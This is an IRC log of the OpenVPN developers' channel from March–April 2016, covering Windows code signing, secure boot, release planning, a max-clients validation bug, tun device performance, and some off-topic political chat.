-!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Thu Mar 10 2016 01:50 <@mattock> I'll try to get openvpn-install-2.3.10-I603-* out today, with EV-signed tap-windows6, sha-2 signed libraries/executables and openssl 1.0.0s 01:50 <@mattock> whether that succeeds depends on how much Windows tries to fight me 01:50 <@mattock> the "I60x should fail on Windows XP" will also be included 01:50 <@cron2> cool :) 03:01 <@mattock> I have a hunch that will be a big mess: http://www.davidegrayson.com/signing/ 03:01 <@vpnHelper> Title: Practical Windows Code and Driver Signing (at www.davidegrayson.com) 03:02 <@mattock> if the MS documentation is still correct, computers that have Windows and Linux installed side-by-side will have issues 03:02 <@mattock> and have Windows 7 03:03 <@mattock> and Windows Vista 64-bit might not work at all with SHA-2 03:03 <@mattock> anyways, we'll see what happens 03:04 <@mattock> I'll provide test installers with SHA-2-signed executables/libraries first, while figuring out the tap-windows6 signing part 03:37 <@plaisthos> i never tried nromal linux and windows side by side in years 03:37 <@plaisthos> I know that with uefi it works 03:44 <@cron2> my dual-boot systems are all still old-style bios 03:44 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 03:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 09:35 <@cron2> mattock: this sounds pretty weird. What should the bootloader care whether it has been loaded from grub or by the bios? And why should that impair installability of a windows update? 09:36 <@cron2> but then, this is windows... 10:00 <@dazo> sounds like secureboot issues 10:01 <@dazo> If I enable secure boot on my laptop with RHEL7 ... I cannot load unsigned kernel modules at all 10:03 <@dazo> and to build my own modules, I need to add my own signing key into "shim" which is loaded before grub .. and it can pass on the approved signing keys from grub to kernel ... (this is a very incorrect and badly explained process, but that's kind of how you achieve this ... and all is tightly connected to the TPM hardware stuff as well) 10:04 <@dazo> the reason for all this is to make it harder for malware to load unapproved code into kernel space, such as drivers ... which covers both Linux and Windows 10:54 <@mattock> yeah, must be related to secure boot somehow 10:54 <@mattock> seems like a can of worms in any case 10:56 <@ecrist> we are working on leveraging secure boot for $work 10:57 <@ecrist> we make medical devices, so we want only our image to boot on a piece of hardware 10:57 <@ecrist> even though some of that hardware looks, and for the most part is, just like a normal PC 10:58 <@cron2> oh my 10:59 <@cron2> OpenSUSE is blowing up the getaddrinfo() bugfix into a full security update... https://lists.opensuse.org/opensuse-updates/2016-03/msg00039.html 10:59 <@vpnHelper> Title: openSUSE-SU-2016:0710-1: moderate: Security update for OpenVPN (at lists.opensuse.org) 11:04 <@cron2> with advisories being sent on security lists, and all that... 13:15 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel --- Day changed Fri Mar 11 2016 07:09 < asia1> hi 07:10 < asia1> posted a bug report on forum but it is going nowhere 07:10 < asia1> https://forums.openvpn.net/topic21093.html 07:10 <@vpnHelper> Title: OpenVPN Support Forum running openvpn consumes 10 to 15% of CPU non stop : Off Topic, Related (at forums.openvpn.net) 07:11 < asia1> is this a known issue? 07:13 < asia1> this is very worrying to say the least 07:15 < asia1> so there are developers here? 07:36 < asia1> ... 08:43 <@ecrist> asia1: the forum is not where bug reports go 08:44 < asia1> <ecrist> i figured by now, which is why i'm here :) 08:44 <@ecrist> Go to community.openvpn.net 08:44 <@ecrist> there is a place there to report bugs 08:44 <@ecrist> it uses the same authentication as the forum 08:44 < asia1> bookmarked, thank you 08:45 < asia1> i must restart connection, still trying various fixes I googled 08:46 < asia1> bye 08:46 <@ecrist> also 08:46 < asia1> yes? 08:46 <@ecrist> the issue you're claiming isn't a known issue, but one I suspect is related to your hardware or config 08:47 < asia1> this is certainly possible, i use an unusual windows config, many microsoft services are disabled or firewalled 08:48 <@ecrist> we'd have to see configs and such, and it's off-topic for this channel 08:49 <@ecrist> 2.3.4 is grossly out of date, as well 08:50 < asia1> okay, i'll submit the bugs eventually, for now i'm still trying various fixes, thanks for your help 08:50 <@ecrist> it's not a bug 08:51 <@ecrist> it looks like Traffic was attempting to provide support, as well, and you generally refused to look into the issue yourself. 08:51 <@ecrist> heh 08:51 <@ecrist> to quote: so there's no way to contact developers about this? 08:51 <@ecrist> openvpn pretty much acts like a crypto currency mining malware and at this point I consider going back to pptp, better a less secure protocol, than a malicious one, what's going wrong with this?" 08:52 -!- Irssi: #openvpn-devel: Total of 27 nicks [8 ops, 0 halfops, 0 voices, 19 normal] 08:53 < asia1> traffic asked me to "check exactly what is being sent over the VPN" 08:53 <@ecrist> you also refused to provide logs and configs 08:53 <@ecrist> !secret 08:53 <@vpnHelper> "secret" is funny that people use free programs, consult free help for them, run a business with them, but are restricted to say what they do. 08:54 < asia1> but i have no idea how to do that, i'm no expert, i checked a wireshark log but i don't understand anything about it 08:54 <@ecrist> openvpn logs, not wireshark logs 08:55 < asia1> haven't seen anything out of the ordinary in open vpn logs, no error message or anything worrying 08:56 <@ecrist> well, this is off-topic here, if you want support, please move to #openvpn or continue on the forum. 08:56 < asia1> log is written during connexion and that's all 08:56 < asia1> ok, sorry 10:03 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:03 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 10:30 <@dazo> ecrist: for anyone wondering if openvpn is safe to use ... you can always point them to https://openvpn.fox-it.com/ 10:30 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com) 10:31 <@ecrist> what do those clowns know? 10:31 <@dazo> heh 10:31 <@ecrist> I think their staff consists of retarded monkeys and the occasional mongoose. 10:31 <@ecrist> :P 10:33 <@dazo> lol ... yeah ... but sometimes the "approved by government"-stamp makes miracles ... they probably don't read everything and understands openvpn-nl is not identical to openvpn and such, hence only the former is approved .... but never mind that 10:33 <@ecrist> they really should build freebsd packages, too 10:33 <@dazo> you'll have to throw that one to andj and syzzer :) 10:33 * ecrist just did 10:33 <@dazo> :) 10:34 <@ecrist> I don't know why the Dutch wouldn't trust something like cisco the US NSA has "tested" to make sure it's safe, right? I mean, right? 10:35 <@dazo> hehe ... maybe those pesky Europeans don't buy into all the great things coming from the US ;-) 10:37 <@ecrist> The "big" annual FreeBSD conference is held in Ottawa, Canada every year, because the majority of international developers won't come into the US. 10:37 <@dazo> that's ... well ... kinda cool :) 10:39 <@ecrist> Even *we* don't like our gov't 10:40 <@dazo> yeah ... I hope you'll get Sanders in the end though ... from what I've caught on twitter etc, he sounds most sane at least on the privacy topics 10:40 <@ecrist> this election sucks 10:41 <@dazo> yeah 10:41 <@ecrist> Sanders is far too socialist for my liking, but he's pro-gun (2A), and has sensible ideas on privacy, public utility (cell phones, internet and the like) 10:42 <@ecrist> This might sound extra-American, but I'm not a big supporter of the idea of giving my own hard-earned money to someone who simply didn't want to do schooling, or get up in the morning to go to work. 10:42 <@dazo> that's kinda funny ... as the US democrats are somewhat near the center/right-block in most of europe 10:43 <@dazo> US republicans are quite far to the right-side in most of Europe 10:44 <@ecrist> I'm not surprised about either, I guess. 10:44 <@dazo> I understand your point regarding the social benefits ... and in Norway, there are too many who should have been kicked hard in the but to get a job - that is true 10:44 <@ecrist> I'm woefully ignorant of many European politicians. 10:45 <@dazo> there are many bad European politicians as well, though 10:45 <@ecrist> I'm sure it's all relative. 10:45 <@ecrist> I didn't grow up in a city, rather on a dairy farm out in the country. That was instilled a different ethic than what I've seen from some others. 10:46 <@ecrist> It could be a matter of scale that's not apparent, too. 1 per per 25 acres of land in the country won't have as much diversity as 15 people per acre in town. 10:47 <@dazo> regarding social benefits ... the good thing about the model we have ... it costed my wife and me roughly ~$100 USD when we got our kid ... and that basically covered my stay at a "hospital hotel" for 3 days. My wife got all for "free" (read: paid via tax money) 10:47 <@ecrist> I like that. Canada is far better than what we do here, as well. 10:48 <@ecrist> It costs me $20 just to walk in to a clinic - before I've even seen anyone. 10:48 <@dazo> kindergarten will cost us something like $250/month and from the autumn we're guaranteed to get that 10:48 <@ecrist> Primary and Secondary schooling is free here 10:48 <@ecrist> college is not 10:48 <@dazo> education up to university is all for free (well, there are some semester fees, but that's just a $100 or so) 10:49 <@dazo> if you get a PhD grant, you basically get paid as a full time job if you are below 38 years or so 10:50 <@ecrist> I never went to college. I'm purely self-taught. 10:51 <@ecrist> I don't have the student loans, and my income exceeds many college-educated folks I know. 10:51 <@ecrist> Not a path I recommend, though. 10:51 <@ecrist> I'd probably be doing even better had I achieved some level of college education. 10:51 <@dazo> I now have paternity leave - 50 days I can use how it fits me ... so I have two days a week (mon+tue, which is why I've not join the openvpn meetings) ... and the state pays me almost the same as my employer would ... so the total salary is pretty close to what I had before I started paternity leave 10:51 <@ecrist> Wow, nice. 10:52 <@ecrist> Paternity leave here is nearly non-existent. 10:52 <@dazo> I started at the university but after 6 months I got a full-time job opportunity ... so I jumped to that ... 10:53 <@dazo> not sure I would do it again ... but on the other hand, I've worked professionally within Linux environments almost exclusively for ~20 years, so that kind of gives quite an edge 10:54 <@ecrist> indeed 11:46 <@ecrist> dazo: there is a systemd question in the main channel I'm not familiar with. 12:08 * dazo looks 12:08 <@ecrist> it lost in some scrollback 12:09 * dazo found it --- Day changed Sat Mar 12 2016 07:54 <@cron2> jftr if you do a meeting on monday - now it's my turn to go snowboarding for a week \o/ - supposedly the hotel has wifi and the kids sleep in the evenings, but I wouldn't count on it... 09:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 09:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Log closed Sun Mar 13 03:43:16 2016 --- Log opened Mon Mar 14 07:44:08 2016 07:44 -!- Irssi: #openvpn-devel: Total of 28 nicks [8 ops, 0 halfops, 0 voices, 20 normal] 07:44 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:44 -!- Irssi: Join to #openvpn-devel was synced in 7 secs 07:46 -!- You're now known as ecrist 11:22 -!- Hypatia41 is now known as bluebird --- Day changed Tue Mar 15 2016 16:05 < klow> Hello. I'm wondering if anyone in here worked on the iOS OpenVPN app .. ? Not for end user support, but for possbile consulting opportunity. 16:05 < klow> Or rather *actual* consulting opportunity. 16:20 < valdikss> klow: I suppose you should ask this on #openvpn-as 19:14 <@plaisthos> klow: please do not priv message 19:15 <@plaisthos> the only one who did developing on the ios app is james yohan from OpenVPN Corp 19:15 <@plaisthos> completely different source code etc. 19:15 < klow> Ok thank you. --- Day changed Wed Mar 16 2016 05:25 <@plaisthos> hm 05:25 <@plaisthos> should we do a modern 2.4 config example for 2.4? 05:26 <@plaisthos> And include the goodies that people otherwise miss? 05:26 <@plaisthos> i.e. cipher aes-gcm-128 05:26 <@plaisthos> compression lz4-v2 05:26 <@plaisthos> explicit-exit-notify on server 08:01 <@vpnHelper> RSS Update - wishlistfeed: Access Server / DNS servers per group <http://forums.openvpn.net/topic21292.html> 08:07 <@ecrist> yes, please --- Log closed Wed Mar 16 09:11:59 2016 --- Log opened Wed Mar 16 10:51:27 2016 10:51 -!- Irssi: #openvpn-devel: Total of 27 nicks [8 ops, 0 halfops, 0 voices, 19 normal] 10:51 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:51 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 11:24 <@cron2> oh, signs of life... 11:25 <@cron2> plaisthos: re. 2.4 config goodies - yes 13:01 <@syzzer> oh, and bump the version string! 13:09 <@plaisthos> version string? 13:09 <@plaisthos> the the thing that says 2.3_git? 13:31 <@syzzer> yes, that one :) 15:04 <@cron2> indeed 21:26 -!- Netsplit *.net <-> *.split quits: esde, @mattock, @plaisthos, @andj, s7r, @cron2, @syzzer, @vpnHelper, @dazo 21:31 -!- Netsplit over, joins: @plaisthos, s7r, esde, @dazo, @andj 21:31 -!- ServerMode/#openvpn-devel [+oooo andj plaisthos d12fk dazo] by rajaniemi.freenode.net 21:31 -!- Netsplit over, joins: @syzzer, @vpnHelper, @mattock, @cron2 --- Day changed Thu Mar 17 2016 04:27 <@mattock> syzzer: I'd need a dutch speaker to review this commit to openvpn-gui: https://github.com/OpenVPN/openvpn-gui/pull/30/files 04:27 <@vpnHelper> Title: Improve many Dutch translations by ffes · Pull Request #30 · OpenVPN/openvpn-gui · GitHub (at github.com) 04:29 <@plaisthos> (looks sane for someone who cannot speak Dutch :p) 04:30 <@mattock> exactly :) 10:29 <@syzzer> mattock: done 18:08 <@vpnHelper> RSS Update - wishlistfeed: STUN/TURN/something to help two endpoints meet? <http://forums.openvpn.net/topic21302.html> --- Day changed Fri Mar 18 2016 07:24 <@vpnHelper> RSS Update - wishlistfeed: A (for-money) service to connect clients behind NAT? <http://forums.openvpn.net/topic21305.html> 09:36 <@vpnHelper> RSS Update - wishlistfeed: Implement the "Fast VPN mobility" features & saner pings <http://forums.openvpn.net/topic21307.html> 16:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 16:31 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:31 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 16:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sat Mar 19 2016 14:58 <@cron2> ecrist: did you find the reason why the freebsd port blew up when building? --- Day changed Sun Mar 20 2016 00:37 <@vpnHelper> RSS Update - tickets: #668: route_vpn_gateway environment variable not set when no routes pushed <https://community.openvpn.net/openvpn/ticket/668> --- Day changed Mon Mar 21 2016 03:06 * cron2 is back! 03:32 <@syzzer> in one piece and with fresh energy? 03:44 <@cron2> one piece, but totally spent ;-) 05:06 <@cron2> having some sort of auto-updating windows installer would indeed be a cool thing... 05:06 * cron2 looks at IV_VER= strings on $corp VPN... 06:42 <@plaisthos> hehe 07:31 <@ecrist> cron2: no, I think it was a problem specific to the FreeBSD 9.3 package system 07:31 <@ecrist> It wasn't failing for 10, and the errors were are arround the outbound connection testing 07:37 <@mattock_> cron2: oneget is probably the way to go 07:38 <@mattock_> basically that should (eventually) give Windows 10 apt-get -type capabilities afaik 07:39 <@mattock_> while waiting I've used Chocolatey 07:39 <@mattock_> the current model of having one separate auto-updater for every piece of software on Windows is just stupid and annoying 07:40 <@mattock_> I don't think we should make that situation worse by creating our own auto-updater 08:25 <@ecrist> I think admin-pushed configs would be cooler than an application auto-updated. 08:25 <@ecrist> Just me .02 08:36 <@cron2> ecrist: indeed that would be another nice-to-have (... AS has it... :) ) 08:37 <@plaisthos> AS does some https fetchting of ovpn files, right? 08:37 <@cron2> but for my users, working auto-update would be quite nice... some 30-ish total windows admin noobs... 08:37 <@cron2> plaisthos: AS is full of magic... there's a web ui on AS, you login and klick on "VPN!" and magic happens 08:38 <@cron2> had no time to really investigate what happens under the hood, but it shows the VPN status in the browser window, and auto-installs what is needed, and stuff... :) 08:38 <@plaisthos> nice :) 08:38 <@plaisthos> (and a bit scary) 08:39 <@cron2> mattock_: I can see (and agree to) that point of view, but it does not help not having any way to auto-update openvpn, except by installing yet another piece of software by an untrusted third party... 08:42 <@ecrist> how not to do a professional conference: aboutus.misc.mn 08:43 <@ecrist> "Hi boss, I'd like to attend this security conference. Can I go? We just need to sign up and send a check to @c0mmiebstrd. I hear @m3atShi3ld will be there, too." 08:44 <@ecrist> Great, cool, you have an alter-ego online. It's hard to take those monikers seriously, though. 09:23 <@cron2> hrhr... too much magic in AS... colleague removed an ethernet interface from a VM running AS, now it refuses the licenses ("this is not the system I have been licensed for!!!") 11:19 <@mattock_> cron2: OneGet is actually included in Windows 10, and the de facto tool for installing packages with it is Chocolatey 11:20 <@mattock_> it looks like OneGet is just a generalized Powershell wrapper over Chocolatey 11:20 <@mattock_> chocolatey being a provider for packages, but there could be many 11:21 <@mattock_> as for being untrusted... one can create custom Chocolatey repositories, so we could have our own Chocolatey repository for OpenVPN, and register that with OneGet (Windows) 11:22 <@mattock_> we don't need to care about the rest of the official Chocolatey repository (or "gallery" as they say) 11:23 <@mattock_> so the process for the user would be similar to installing custom repositories on Linux: 11:23 <@mattock_> - Install a repository package 11:23 <@mattock_> - Install the software 11:23 <@mattock_> in the case of Windows both could be done on one go 11:24 <@mattock_> of course this mostly applies to Windows 10, although OneGet can be installed on Windows 8.1 also 12:26 <@vpnHelper> RSS Update - gitrepo: Add support for block-outside-dns through the interactive service <https://github.com/OpenVPN/openvpn/commit/2282b1be7968ef44accde705ccc64addab6d77ba> || Refactor and move the block-outside-dns code to a new file (block_dns.[ch]) <https://github.com/OpenVPN/openvpn/commit/6a33a34dee8f3b574275d8df1635fb550ec054f3> || Only include aead encrypt/decrypt functions if AEAD modes are supported <https://github.com/Open 13:04 <@cron2> vpnHelper, you are drunk... 13:04 * cron2 committed that over a week ago... 19:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 19:32 -!- mattock_ is now known as mattock --- Day changed Tue Mar 22 2016 02:31 <@vpnHelper> RSS Update - tickets: #669: Spelling error in Russian l10n <https://community.openvpn.net/openvpn/ticket/669> 08:12 <@plaisthos> cron2: I think lev__ could also check #669 10:49 <@cron2> plaisthos: likely... but he has been hiding recently :-) (maybe we should review and merge his recursive-routing patch...) 11:46 <@plaisthos> :) 18:20 <@plaisthos> the real problem 18:20 <@plaisthos> forum ranks --- Day changed Wed Mar 23 2016 07:32 <@ecrist> heh --- Log closed Wed Mar 23 09:17:54 2016 --- Log opened Wed Mar 23 11:16:38 2016 11:16 -!- Irssi: #openvpn-devel: Total of 26 nicks [8 ops, 0 halfops, 0 voices, 18 normal] 11:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:16 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 14:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:01 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 14:26 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 14:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 14:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 18:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Max SendQ exceeded] 18:10 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 22:07 < thelucifer> hi 22:09 < thelucifer> i am a student trying to mod openvpn... i need some help in sending custom packets from client to the openvpn server 22:11 < thelucifer> anyone online? willing to help ? --- Day changed Thu Mar 24 2016 07:12 <@vpnHelper> RSS Update - tickets: #670: Fatal error: Assertion failed at misc.c:785 (es) <https://community.openvpn.net/openvpn/ticket/670> 10:35 -!- ServerMode/#openvpn-devel [+o d12fk] by wilhelm.freenode.net 11:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o cron2] by ChanServ 17:06 -!- ServerMode/#openvpn-devel [+o d12fk] by wilhelm.freenode.net 17:30 < AndChat706484> Hi --- Day changed Fri Mar 25 2016 09:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:29 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has left #openvpn-devel [] 09:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:29 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Mar 28 2016 07:10 <@vpnHelper> RSS Update - wishlistfeed: Support HTTP Digest authentication via auth-method <http://forums.openvpn.net/topic21382.html> 10:44 <@plaisthos> GCC in the NDK is now deprecated in favor of Clang. 10:44 <@plaisthos> android ndk also deprecates gcc 10:56 -!- floppym_ is now known as floppym 11:11 <@ecrist> ARM mbed, no more PolarSSL, eh? 11:11 <@ecrist> I thought the goal of PolarSSL was to be a drop-in replacement for OpenSSL 11:11 <@plaisthos> I think it never was 11:12 <@plaisthos> polarssl is first about having a clean good written library 11:12 <@plaisthos> OpenSSL (and its APIS!) is more like the opposite of that 11:18 <@plaisthos> strange error messages: openssl/crypto/aes/asm/aesv8-armx-64.S:49:2: error: instruction requires: crypto 12:04 <@plaisthos> I think I gonna request the source code from this app (https://play.google.com/store/apps/details?id=it.colucciweb.free.openvpn) 20:52 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 20:52 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:52 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Tue Mar 29 2016 04:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 268 seconds] 04:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:49 <@plaisthos> src/openvpn/options.c: msg (msglevel, "In %s:%d: Maximum optione line length (%d) exceeded, line starts with %s", 07:49 <@plaisthos> *sigh* 08:46 <@cron2> optione italiano! 08:54 <@syzzer> hehe 09:32 -!- saik0_ is now known as saik0 10:55 <@dazo> ecrist: I think you confuse PolarSSL with LibreSSL ... PolarSSL never tried to duplicate the OpenSSL API at all 10:55 <@ecrist> shit, you're right. 10:56 <@ecrist> And we don't support LibreSSL 10:56 <@dazo> *if* LibreSSL's API is compliant enough with OpenSSL ... "it should work(tm)" 11:01 <@plaisthos> we already have ifdefs for LibreSSL in the repo 11:06 <@ecrist> oh, neat 11:06 <@ecrist> plaisthos: do you have any experience with it?. 11:06 <@plaisthos> no 11:29 <@syzzer> ecrist: openssl has made big steps since heartbleed, I'm not so sure that libressl is worth switching to 11:30 <@syzzer> and in the 1.1.x branch, they are actually working towards mare sane APIs 11:38 <@ecrist> ooh 12:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 12:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 268 seconds] 12:14 -!- arlen_ is now known as arlen 12:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:49 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:50 -!- mode/#openvpn-devel [+o cron2_] by ChanServ --- Day changed Wed Mar 30 2016 04:32 -!- cron2_ is now known as cron2 12:22 <@cron2> mattock: I'm not seeing mail from you on openvpn-devel...? 12:22 <@cron2> (#26 says "you asked"... but I'm not seeing this) 12:22 <@cron2> ah, no. there it is. Ignore me. 14:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 14:19 -!- mattock_ is now known as mattock 16:16 <@plaisthos> mattock: 16:16 <@plaisthos> 22:10:39 <Dan0maN> so, the openvpn-as channel seems pretty dead. i've sat in 16:16 <@plaisthos> there for about a week with people coming to ask questions 16:16 <@plaisthos> w/o responses. is there any devs here that may also work 16:16 <@plaisthos> that project? 16:16 <@plaisthos> mattock: can you ask where we should direct people seeking support for AS in #openvpn to? 22:39 -!- marlinc_ is now known as marlinc --- Day changed Thu Mar 31 2016 01:08 <@mattock> plaisthos: there is the support ticket system 01:08 <@mattock> https://openvpn.net/index.php/login.html 01:08 <@vpnHelper> Title: Login (at openvpn.net) 01:14 <@mattock> I asked about #openvpn-as from the guys who used to hang around there and answer questions 01:58 <@cron2> yeah, it would indeed be helpful to have a quick "is this a known issue? do you want a formal bug report for it?" feedback loop 01:58 <@cron2> my colleages have my talent in breaking software, and are hitting funny AS issues .-) 07:18 < valdikss> And now, with 15134 routes, even Arne's OpenVPN client for Android can't handle it. 07:18 < valdikss> But that's probably an Android issue. 07:30 <@cron2> whee 07:32 <@plaisthos> jikes 07:32 <@plaisthos> my clinet might generated even more routes from that 07:32 <@plaisthos> and I never tried to optimize my route calculation code 08:02 < valdikss> https://i.imgur.com/7IUp5Fx.png 08:32 <@cron2> why o why 08:32 <@cron2> max_clients = atoi (p[1]); 08:32 <@cron2> if (max_clients < 0) 08:32 <@cron2> msg (msglevel, "--max-clients must be at least 1"); 08:32 <@cron2> (so you can actually set "0", which will do funny things) 08:41 <@cron2> syzzer: do you feel bored? 08:55 <@ecrist> that looks like an easy fix, cron2 08:56 <@ecrist> s/0/1/ 08:56 <@ecrist> fin 08:59 <@cron2> ecrist: indeed :) - but being able to set it to 0 makes "it does funny things" much easier to reproduce :)) 08:59 * cron2 will look into this 09:00 <@ecrist> the utility of an openvpn instance allowing 0 clients is interesting 09:06 <@plaisthos> but it works :) 10:34 -!- krzee [d876ef11@openvpn/community/support/krzee] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:18 -!- floppym_ is now known as floppym 14:15 <+krzee> !git 14:15 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 14:15 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr or (#7) http://xkcd.com/865/ 15:36 <@plaisthos> comedy: https://github.com/schwabe/ics-openvpn/issues/468#issuecomment-204066097 15:36 <@vpnHelper> Title: Security Alert from Google Play : OpenSSL security vulnerability · Issue #468 · schwabe/ics-openvpn · GitHub (at github.com) --- Day changed Fri Apr 01 2016 00:57 <@cron2> we should do a meeting next monday 12:57 <@cron2> syzzer: thanks 15:47 <@dazo> is the meeting still at 18:00 GMT? (20:00 CEST) 15:53 <@cron2> well, 20:00 CEST, but it used to be 19:00 GMT :) 16:39 <@dazo> if it is 19:00 GMT; that means 21:00 CEST .... or 20:00 CET 16:40 * dazo is used to think in GMT for cross-time zone meetings --- Day changed Sat Apr 02 2016 02:47 * cron2 meets at 8 :-) 15:21 * krzee sets an irc timer to fake his presense 15:44 <@vpnHelper> RSS Update - gitrepo: Fix potential null-pointer dereference <https://github.com/OpenVPN/openvpn/commit/b064b8111c718f3c4f996f256674ccd3ab62217f> --- Day changed Mon Apr 04 2016 01:47 <@cron2> *yawn* 04:55 < valdikss> Hi guys 04:55 < valdikss> Is tun_pi information transfered over the internet if tun_pi is activated on a tun device (like when ipv6 is configured)? 04:56 < valdikss> Or is it added only on tun reads/writes? 05:52 <@cron2> only locally 06:39 -!- krzee [d876ef11@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 06:41 <@syzzer> so, meeting tonight? 06:56 <@cron2> I'll be there... lots of patches to review and merge 06:57 <@cron2> my *topic* would be "where are we wrt 2.4, what is missing?" (and maybe 2.3.11 release) 06:57 <@cron2> and I need help with the James patch set 07:01 <@syzzer> I'll be there too, I think I'll focus on reviewing 09:58 < valdikss> http://marc.info/?l=linux-netdev&m=145977692607071&w=2 09:58 <@vpnHelper> Title: 'Re: Best way to reduce system call overhead for tun device I/O?' - MARC (at marc.info) 09:58 < valdikss> http://marc.info/?l=linux-netdev&m=145978033009374&w=2 09:58 <@vpnHelper> Title: 'Re: Best way to reduce system call overhead for tun device I/O?' - MARC (at marc.info) 10:08 <@cron2> "do it all in kernel space" aka "OpenVPN 3 on Linux" :) 10:11 <@syzzer> ^ yes, that seems the way to get the biggest speedups 10:12 <@syzzer> the down side is that bugs have a lot more impact in the kernel 10:13 < valdikss> OpenVPN 3? Kernel Space? 10:13 < valdikss> Doesn't current OpenVPN 3 still works in userspace? 10:14 < valdikss> And actually that's a shame how slow tun is. I get 30 mbit/s on my router without encryption or authentication, while my router is capable to encrypt 48 mbit/s AES-128-CBC 10:15 < valdikss> or 136 mbit/s chacha20-poly1305 10:16 < valdikss> You can get 100 mbit/s with IPsec + chacha20-poly1305 or 30 mbit/s unencrypted with OpenVPN 10:16 < valdikss> And that's not an OpenVPN issue, I tried various software using tun 10:16 <@cron2> valdikss: the packet forwarding / server/client multiplexing stuff for linux runs in kernel space, the "openvpn protocol" bits in userland 10:17 <@cron2> valdikss: the interesting question is whether things speed up if you have multiple parallel streams. If it's just latency, multiple streams help a lot 10:17 <@cron2> (OTOH, if a single stream hits 100% of 1 CPU core, multiple streams won't improve things) 10:18 < valdikss> cron2: I have only one CPU core 10:19 <@cron2> valdikss: "if you hit 100% of 1 CPU core"... 10:19 <@cron2> so if you only have 1 CPU, that's all you get :) 10:20 < valdikss> cron2: All the tests I make is a LAN tests, internet and latency is not an issue 10:20 <@cron2> point I tried to make is: if you're bandwidth limited due to latency (because tun single-read/single-write), multiple streams might help. If you're limited by CPU load (due to tun being expensive), that will not make a difference 10:20 <@cron2> single-write/single-read to tun *causes latency* 10:20 < valdikss> cron2: ah, I call that overhead 10:21 <@cron2> overhead is "it causes so many CPU cycles", but if the *next* call will not happen before x microseconds have passed -> latency 10:22 < valdikss> cron2: anyway, I've implemented GSO and it doesn't work. I'll go work on sendmmsg()/recvmmsg() as Guus suggested. 10:23 <@cron2> wasn't that for "you do this on a LAN interface"? 13:22 